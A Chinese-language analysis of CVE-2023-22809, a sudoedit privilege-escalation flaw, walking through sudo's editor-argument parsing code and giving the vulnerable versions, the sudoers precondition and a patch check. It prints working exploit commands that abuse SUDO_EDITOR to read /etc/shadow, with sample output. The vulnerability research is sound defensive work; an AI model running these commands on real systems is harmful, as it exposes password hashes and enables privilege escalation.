CVE-2023-22809(sudoedit 权限提升漏洞)分析

Table of Contents

1. 漏洞介绍

sudoedit 可以根据 EDITOR、VISUAL 和 SUDO_EDITOR 环境变量来指定编辑器,如果编辑器的参数中包含 “--”“--” 会被替换成文件名,导致可以越权访问文件及提升本地权限。

影响范围:1.8.0 ~ 1.9.12p1

2. 测试环境

操作系统:Ubuntu 22.04.1 LTS,注意安装时不要自动更新。

sudo 版本信息:

$ sudo -V
Sudo version 1.9.9
Sudoers policy plugin version 1.9.9
Sudoers file grammar version 48
Sudoers I/O plugin version 1.9.9
Sudoers audit plugin version 1.9.9

3. 漏洞分析

执行 sudoedit 时,会调用 plugins/sudoers/editor.c 中的 find_editor 函数,find_editor 会根据 SUDO_EDITOR、VISUAL、EDITOR 三个环境变量设置的编辑器来指定编辑器:

char *
find_editor(int nfiles, char **files, int *argc_out, char ***argv_out,
            char * const *allowlist, const char **env_editor)
{
    /* ... */
    *env_editor = NULL;
    ev[0] = "SUDO_EDITOR";
    ev[1] = "VISUAL";
    ev[2] = "EDITOR";
    for (i = 0; i < nitems(ev); i++) {
        char *editor = getenv(ev[i]);

        if (editor != NULL && *editor != '\0') {
            *env_editor = editor;
            /* 解析环境变量的值 */
            editor_path = resolve_editor(editor, strlen(editor),
                                         nfiles, files, argc_out, argv_out, allowlist);
            if (editor_path != NULL)
                break;
            if (errno != ENOENT)
                debug_return_str(NULL);
        }
    }

    /* ... */
}

如果设置了环境变量,就调用 resolve_editor 函数去解析,问题就出在这个函数中,以下为关键代码:

static char *
resolve_editor(const char *ed, size_t edlen, int nfiles, char **files,
    int *argc_out, char ***argv_out, char * const *allowlist)
{
    /* ... */
    if (nfiles != 0) {
        /* 如果参数为“--”,就替换为文件名 */
        nargv[nargc++] = "--";
        while (nfiles--)
            nargv[nargc++] = *files++;
    }
    nargv[nargc] = NULL;

    *argc_out = nargc;
    *argv_out = nargv;
    /* ... */
}

所以如果执行 Payload:

SUDO_EDITOR='vim -- /etc/shadow' sudoedit /etc/hosts

其中的“–”就会被 /etc/hosts 对应的临时文件覆盖,从进程中也能看到:

$ ps ux | grep vim
test      44599  0.0  0.2  18620 10464 pts/3    S+   07:07   0:00 vim /var/tmp/shadow.XXomMAi6 /var/tmp/hosts.XXZ4SheK

这个漏洞出现在 sudoedit 中,目前看来限制比较大,需要普通帐号可以通过 sudo 来执行 sudoedit,所以 /etc/sudoers 必须有相应的设置。例,允许 test 帐号执行 sudoedit:

test   ALL=(ALL:ALL) sudoedit

执行以下命令即可读取敏感文件:

$ SUDO_EDITOR='cat -- /etc/shadow' sudoedit test.txt
sudoedit: --: editing files in a writable directory is not permitted
sudoedit: test.txt: editing files in a writable directory is not permitted
root:马赛克:19389:0:99999:7:::
daemon:*:19213:0:99999:7:::
bin:*:19213:0:99999:7:::
sys:*:19213:0:99999:7:::
sync:*:19213:0:99999:7:::
games:*:19213:0:99999:7:::
man:*:19213:0:99999:7:::
lp:*:19213:0:99999:7:::
mail:*:19213:0:99999:7:::
news:*:19213:0:99999:7:::
uucp:*:19213:0:99999:7:::
proxy:*:19213:0:99999:7:::
www-data:*:19213:0:99999:7:::

如果出现以下提示,说明漏洞已经修复:

sudoedit: editor arguments may not contain "--"

4. 参考